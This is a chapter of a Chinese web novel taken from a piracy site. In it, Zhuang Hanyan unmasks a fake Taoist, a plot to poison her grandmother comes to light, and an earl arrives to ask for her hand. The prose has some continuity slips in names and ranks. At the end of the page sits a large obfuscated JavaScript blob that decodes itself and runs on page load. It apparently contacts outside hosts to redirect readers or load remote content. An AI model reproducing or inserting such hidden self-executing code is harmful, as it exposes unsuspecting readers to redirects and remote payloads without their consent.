首页
第四章 上门求亲
返回
关灯 护眼:关 字号:小

第四章 上门求亲

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    当晚,庄寒雁又是做了噩梦。
    噩梦里,雨水如注。
    寒雁跪在泥泞中,手中的血刀被雨水冲刷得发亮。
    她面前躺着两具尸体——叔叔和婶婶。
    鲜血从他们的胸口汩汩的流出,与雨水混在一起,染红了整片地面。
    “人是我杀的?”寒雁喃喃自语,声音颤抖得几乎听不见。
    她抬起头,雨水顺着她的脸颊流下,分不清是泪是雨。
    “我要回京城……那里才是我的家。”
    她猛地丢下血刀,刀身“铮”地一声插入泥地。
    寒雁踉跄着站起身,湿透的衣裙紧贴在身上,勾勒出她单薄的身形。
    她最后看了一眼地上的尸体,转身冲进了雨幕中。
    ……
    三日后,庄府。
    寒雁站在回廊下,手指紧紧攥着衣袖。
    她特意在此等候段真人,那个给她强加“赤脚鬼”污名的道士。
    远处传来脚步声,寒雁深吸一口气,挺直了背脊。
    “庄小姐在此等候多时了?”
    段真人踱步而来,一身道袍纤尘不染,手持拂尘,面带慈悲笑容,眼中却闪烁着算计的光芒。
    寒雁福了福身,声音清冷:“段真人好眼力,竟能看出我的真实身份。”
    段真人捋了捋胡须:“贫道观小姐眉间有郁结之气,想必是为老太太的病忧心。”
    “真人既知老太太病重,为何还要隐瞒?”寒雁直视段真人,声音不大却字字清晰,“庄老爷怕连累我,可老太太的病耽搁不得。”
    段真人眼中闪过一丝诧异,随即恢复平静:“小姐果然聪慧!既如此,不如请贫道为老太太诊治一番?”
    寒雁嘴角微扬:“正有此意。”
    厅堂内,庄老爷面色阴沉:“雁儿,你怎可擅作主张?”
    寒雁跪下,“父亲,女儿不忍见祖母受苦。段真人既有神通,何不一试?”
    庄老爷长叹一声,挥手示意下人带路。
    不多时,段真人在老太太床前把脉,眉头越皱越紧。
    “不妙啊!”段真人摇头晃脑,“老太太这是中了邪祟,且是十七年前那个赤脚鬼作祟!”
    此言一出,满座哗然。
    前来参加家宴的宾客们面面相觑,几位官老爷更是面露惊色。
    “胡说!”寒雁猛地站起,“十七年前所谓赤脚鬼,分明是有人栽赃嫁祸!”
    段真人不慌不忙从袖中掏出一道符纸:“此乃贫道推算所得,这个生辰八字之人正是邪祟源头。”
    他环视众人,“此人与庄小姐八字相合。”
    宾客中一阵骚动。
    寒雁脸色煞白,却强自镇定:“真人此言差矣!若说八字相合就是邪祟,那庄府上下岂不人人自危?”
    正在此时,庄语山带着几个家丁闯入:“父亲!女儿亲眼所见,昨夜段真人与寒雁私会,还交接了一个包袱!”
    寒雁眼中寒光一闪:“姐姐此言从何说起?我昨夜明明……”
    主母王氏听闻前院闹起来,急忙将一本账册递给身旁的陈嬷嬷:“快去前院看看,别让老爷为难。”
    陈嬷嬷领命而去,不多时带着一个伙夫和一本膳食记录回来。
    她跪在庄老爷面前:“老爷,老奴查了老太太的饮食记录,发现有人在她食物中掺了马蒁,与常吃的丁香糕相克,这才导致老太太病重。”
    厨子跪地磕头:“小的不懂药理啊!府上只有周姨娘出身药铺世家,懂得这些……”
    众人目光齐刷刷转向站在角落的周姨娘。
    周姨娘脸色大变,扑通一声跪下:“老爷明鉴!妾身只是……只是识人不清……”
    庄老爷面色铁青,正要开口,寒雁却抢先一步:“父亲,当务之急是救祖母。女儿这里恰好有解药。”
    她从袖中取出一个小瓷瓶,“还请在场的叔伯们做个见证。”
    几位官员互相看了看,点头应允。
    寒雁亲自喂老太太服下解药,然后转身面对段真人:“真人既说我是赤脚鬼,可知道真正的犯人手臂上都会刻有‘贼‘字?”
    段真人脸色骤变:“你……你这个赤脚鬼胡说什么?”
    寒雁步步逼近:“不如请真人挽起袖子,让大家看看?”
    “放肆!”段真人突然厉喝,“你们若敢动我,必遭天谴!三日内,庄府必有血光之灾!”
    陈嬷嬷不顾阻拦,一把扯开段真人的衣袖。
    一个清晰的“贼”字烙印赫然出现在他手臂上。
    “原来是个冒牌货!”宾客中有人惊呼。
    段真人面如死灰,突然指向周姨娘:“是她!是她指使我陷害寒雁小姐!”
    周姨娘瘫软在地,面无人色。
    寒雁走到她面前,轻声问道:“周姨母,昨晚你的丫鬟可曾出门?”
    一个丫鬟被推上前,浑身发抖:“奴婢……奴婢……”
    周姨娘突然站起身,眼中闪过一丝决绝:“老爷,妾身以死明志!”
    说罢,她猛地冲向柱子。
    “拦住她!”庄老爷大喝,但为时已晚。
    周姨娘额头撞在柱子上,鲜血顿时涌出。
    她软软倒下,气若游丝:“寒雁.……你赢了……”
    寒雁怔怔地看着这一幕,心中并无半分喜悦。
    接着她再次转身面对众人,声音平静却坚定:“诸位叔伯都看见了,这一切都是周姨母为争家产而设的局。我寒雁,从来不是什么赤脚鬼。”
    庄老爷面色复杂地看着寒雁,仿佛第一次真正认识这个女儿。
    宾客们议论纷纷,而寒雁只是静静地站着,眼中藏着无人能懂的深意。
    雨,又开始下了。
    ……
    周姨娘的事最终以罚俸三月、禁足思过了结。
    那日堂审后,一个名唤翠柳的丫鬟跪在庄老爷面前,哭诉自己受了外人蛊惑,在老太太饮食中动了手脚。
    “老爷明鉴,奴婢一时糊涂……”翠柳额头抵着青石地面,声音颤抖如风中落叶。
    寒雁站在廊柱旁,指尖无意识地摩挲着袖中那张字条——“膳食记录在陈嬷嬷处”。
    这字迹陌生又熟悉,像是有人刻意模仿了庄府账房的笔迹。
    她抬眼望向主母王氏,对方正用帕子拭着眼角并不存在的泪水。
    “三姑娘,”陈嬷嬷悄无声息地出现在她身侧,“老太太醒了,说要见您。”
    老太太的厢房里飘着安神香的气息。
    寒雁刚跨入门槛,就听见一声虚弱的呼唤:“雁丫头,过来让祖母瞧瞧。”
    床榻上的老人比上次见面时瘦了一圈,但眼神清明。
    她颤巍巍地拉住寒雁的手:“这些年,委屈你了。”
    寒雁鼻尖一酸,却只是抿了抿唇:“祖母言重了。”
    “不,我知道。”老太太从枕下摸出一把黄铜钥匙,“西厢库房里有些我年轻时的物件,你去挑几样喜欢的。”
    她突然压低声音,“特别是那个紫檀妆奁,里头的东西配你正合适。”
    三日后清晨,寒雁正在镜前试戴老太太给的一对翡翠耳珰,房门突然被推开。
    周姨娘带着两个丫鬟走了进来,脸上堆着笑,眼角却绷得紧紧的。
    “雁姑娘今日要去逛梅园,姨娘特意来帮你梳妆。”周姨娘不由分说接过梳子,手指穿过寒雁如瀑的青丝,“听说傅家公子也会到场?”
    寒雁从镜中捕捉到周姨娘眼中一闪而过的算计,唇角微扬:“姨娘消息灵通。”
    周姨娘手法娴熟地挽起一个惊鹄髻,正要插上一支金凤步摇,寒雁却按住她的手:“用这支吧。”
    她从妆奁中取出一支样式古朴的银簪——正是老太太给的。
    “这……”周姨娘脸色变了变,“会不会太素净了?”
    “祖母说,这支簪子当年在赏梅宴上为她赢来满堂喝彩。”寒雁故意提高声调,“莫非姨娘觉得祖母的眼光不好?”
    周姨娘手上力道一重,扯得寒雁头皮生疼,却不得不赔笑:“怎么会呢。”
    妆成时,庄语山的声音在门外响起:“妹妹可准备好了?”
    她推门而入,目光在触及寒雁发间银簪时骤然凝固。
    “姐姐来得正好。”寒雁起身转了个圈,“姨娘给我梳的妆可还入眼?”
    庄语山盯着那支在阳光下泛着幽蓝光泽的银簪,嘴角抽了抽:“妹妹今日……格外不同。”
    她突然注意到妆台上放着的一对赤金嵌宝镯子,“这是?”
    “哦,那是祖母给的。”寒雁故作随意地拿起镯子,“说是当年先皇赏赐的物件。我嫌太重,姐姐若是喜欢...”
    庄语山眼睛一亮,不等寒雁说完就伸出手:“妹妹当真舍得?”
    “姐妹之间何分彼此。”寒雁亲手为她戴上镯子,又取来一串珍珠项链,“这套首饰原是一体的,姐姐既然戴了镯子,不如……”
    半刻钟后,庄语山浑身珠光宝气地站在铜镜前,活像个移动的首饰架子。
    寒雁强忍笑意:“姐姐这样打扮,定能艳压群芳。”
    庄语山刚要说话,小丫鬟匆匆跑来:“大小姐,傅家的马车到路口了!”
    “我这就去!”庄语山急匆匆转身,腰间玉佩与金镯相撞,发出叮叮当当的声响。
    她跑到门口又折返,硬邦邦地对寒雁道:“你也快些,别误了时辰。”
    寒雁望着姐姐远去的背影,嘴角笑意渐冷。
    她故意磨蹭了两刻钟才出门,刚上马车就发现车夫神色不对。
    “姑娘坐稳了。”车夫一甩鞭子,马车却往城外方向疾驰而去。
    行至荒僻处,车夫突然跳车而逃。
    寒雁掀开车帘,只见四周荒草丛生,远处隐约有狼嚎声传来。
    她正欲下车,一阵马蹄声由远及近。
    “姑娘需要帮忙吗?”
    寒雁抬头,看见一个身着墨蓝锦袍的男子勒马而立。
    他约莫四十出头,眉目如刀削般锋利,腰间悬着一块“左都御史”的腰牌。
    “多谢大人,小女子的马车……”寒雁话未说完,突然看清对方面容,急忙福身,“可是宇文大人?”
    男子挑眉:“姑娘认得我?”
    “家母曾提起,宇文伯伯与她同窗习剑。”寒雁声音轻了几分,“我是庄家次女寒雁。”
    宇文长安眼中闪过一丝异色,翻身下马:“原来是明兰的女儿。”
    他伸手拂去寒雁肩上落叶,“你与你母亲年轻时一模一样。”
    这句话让寒雁心头一震。
    她记忆中母亲总是病恹恹的,从未提过会武艺的事。
    “上来吧!我送你去求梅园。”宇文长安将她扶上自己的马,“听说今日傅家小子也会去?”
    寒雁攥紧缰绳:“大人认识傅公子?”
    “那小子在儋州剿匪时,单枪匹马端了三个匪窝。”宇文长安轻笑一声,“倒是配得上……”
    后半句话消散在风中,寒雁没听清。
    两人一路谈诗论剑,竟格外投契。
    临近求梅园时,宇文长安突然压低声音:“你母亲的事,改日我细细说与你听。”
    求梅园门口,庄语山正焦急张望。
    当她看到寒雁从宇文长安马上下来时,眼中妒火几乎要喷薄而出。
    “妹妹好大的面子,竟劳动宇文大人相送。”庄语山上前行礼,手腕上的金镯在阳光下刺得人眼花。
    宇文长安微微颔首,对寒雁道:“改日我派人送些剑谱给你。”
    说罢策马而去。
    园内梅香如海。
    寒雁刚转过一道回廊,就撞进一双深潭般的眼睛里。
    傅云夕站在一株老梅下,手中把玩着一支熟悉的银簪,正是寒雁在儋州遗失的那支。
    “庄二小姐。”他向前一步,声音低得只有两人能听见,“物归原主。”
    寒雁感到发间一轻,那支老太太给的银簪不知何时到了傅云夕手中。
    而他正将儋州的银簪轻轻插入她发髻,指尖不经意擦过她的耳垂,激起一阵战栗。
    “傅公子这是何意?”寒雁强自镇定。
    傅云夕退后半步,声音恢复正常:“庄小姐的发簪歪了。”
    他目光扫过她身后,“令姐似乎很在意你。”
    寒雁回头,看见庄语山站在不远处,手中帕子已被绞得变形。
    当发现寒雁看她时,庄语山挤出一个僵硬的笑:“妹妹与傅公子……很熟?”
    “不熟。”
    ……
    正午时分,庄府正厅内,庄老爷正与几位管事商议田庄事宜,忽闻门外一阵骚动。
    管家匆匆来报:“老爷,门外有位苏爵爷递了帖子,说是……说是来向三小姐提亲的!”
    “啪嗒”一声,庄老爷手中的茶盏跌落在青石地上,碎成几瓣。
    他猛地站起身,胡须微颤:“你说什么?再说一遍!”
    厅内众人皆变了脸色。
    大管事手中的账本“哗啦”掉在地上,人头猪脑的庄语迟正巧端着果盘进来,闻言一个踉跄,鲜红的樱桃滚了满地。
    “荒唐!”庄语迟尖声道,“哪个不长眼的敢来提亲?莫不是穷疯了的破落户?”
    管家擦了擦额头的汗:“回少爷,是……是新封的忠勤伯苏宁苏爵爷。带着八抬聘礼,现正在花厅候着……”
    庄老爷眉头紧锁,“忠勤伯?可是那个捐了三十万两赈灾银的土财主?”
    “正是。”
    正说着,忽听屏风后传来一声轻笑。
    众人回头,只见寒雁一袭月白衫子,正似笑非笑的看着眼前的这一切。
    “父亲何必如此惊讶?女儿又不是头一回被人提亲。”
    “……”
    “你!”此时一旁的庄家少爷庄语迟气得涨红了脸,“上次那个穷秀才连聘雁都买不起,也配叫提亲?”
    寒雁眼波一转:“记性真好!不过这位苏爵爷,倒是在从儋州回京城的路上见过几回。”
    正厅里顿时炸开了锅。
    庄老爷拍案而起:“胡闹!你一个闺阁女子,怎会与外男……”
    “老爷!”阮惜文扶着丫鬟的手疾步而来,苍白的脸上浮着不正常的红晕,“我早说过这丫头邪性!定是使了什么妖法……”
    话音未落,花厅方向传来清朗的男声:“庄大人,冒昧来访,还望海涵。”
    众人回头,只见一位身着靛青锦袍的年轻男子立在廊下。
    他生得剑眉星目,腰间玉佩温润如水,站在那里便是万众瞩目的存在。
    苏宁拱手一礼,目光却直直望向寒雁:“三小姐,别来无恙。”
    此时的寒雁再一次见到主人不由得微微一顿。
    虽然早就已经知道苏宁要来提亲,可是真的面对苏宁的时候,庄寒雁还是忍不住小鹿乱撞。
    “苏爵爷认错人了。”寒雁垂眸浅笑的说了一句,也就在苏宁的面前能感到快乐,“妾身深闺弱质,何曾去过儋州那等蛮荒之地?”
    苏宁不慌不忙从袖中取出一物:“那这方绣着‘雁‘字的手帕,想必是海鸥衔来落在下官船上的?”
    帕角一朵红梅绣得歪歪扭扭,正是寒雁十二岁初学女红时的杰作。
    一旁的人头猪脑庄语迟却是一把抢过细看,突然尖叫道:“这……这上面怎么会有血?”
    “庄少爷好眼力。”苏宁轻笑,“那日三小姐为救个烫伤的小童,用这帕子裹了刚熬好的药膏。”
    阮惜文突然剧烈咳嗽起来,指甲掐进丫鬟手臂:“老爷!这等私相授受……”
    “母亲误会了。”寒雁突然上前挽住阮惜文的手,指尖不着痕迹地按在她脉门上,“女儿与苏爵爷清清白白。”
    她转向苏宁,眼中带着警告,“爵爷今日来,想必是听说庄家女儿嫁妆丰厚?”
    苏宁会意,当即正色道:“庄大人明鉴,下官虽然出身贫寒,但也是耕读传家。今日特备纹银万两为聘,另有三进宅院地契……”
    他从怀中取出一卷文书,“另外这是陛下亲赐的爵位诏书,请过目。”
    庄老爷接过诏书的手微微发抖。
    一直沉默的大小姐庄语山突然开口:“苏爵爷可知,我三妹有个赤脚鬼的诨名?”
    厅内霎时寂静。
    “略有耳闻。”苏宁掸了掸衣袖,忽然从靴筒里抽出一把匕首,“唰”地割下一截袍角,“巧了,下官幼时也被称作天煞孤星。”
    他将割下的衣料掷于案上,“若三小姐真是煞星,正好与我这个孤星凑成一对。”
    “胡闹!”庄老爷气得胡子翘起,“婚姻大事岂能儿戏!”
    “父亲。”寒雁突然跪下,“女儿愿嫁。”
    阮惜文猛地愤怒的大骂:“贱人!你……”
    庄语迟气得浑身发抖:“你这……”
    “都住口!”庄老爷突然暴喝,他盯着诏书上明晃晃的玉玺印,又瞥见门外整整齐齐的八抬聘礼,最终长叹一声:“苏爵爷,还请借一步说话。”
    “好。”
    偏厅内,庄老爷盯着这个突如其来的女婿:“苏爵爷你到底图什么?我们家寒雁既无倾国之貌,又背着恶名……”
    “岳父大人。”苏宁亲手斟了杯茶推过去,“小婿虽然一直都在乡野耕读度日,但也凭一口不服输的狠劲挣下这份家业。”
    接着他又是摩挲着茶杯边缘,“三小姐十岁那年,在儋州码头为个素不相识的卖唱女挡了泼皮的热油。”
    “这……”庄老爷手一抖,茶水溅在袖口。
    “后来我打听过,那日是她婶娘生辰,她偷跑出来典当唯一的银簪想买块寿糕。”苏宁轻笑,“这样一个人,又怎么会是克亲的煞星?”
    窗外忽然传来“咔嗒”轻响。
    苏宁闪电般推开窗,正抓住庄语迟的衣领。
    “小公子这是作甚?”
    “我……我……”
    “好了!苏伯爷,这门亲事我允了。”
    “多谢岳父大人。”
    这一次庄寒雁回到庄家无疑是心灰意冷的,没想到夜夜思念的父母比儋州的叔婶还要冰冷。
    所以当姜似告知她,苏宁会安排娶她的时候,庄寒雁心里无疑是非常惊喜的。
    ……
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();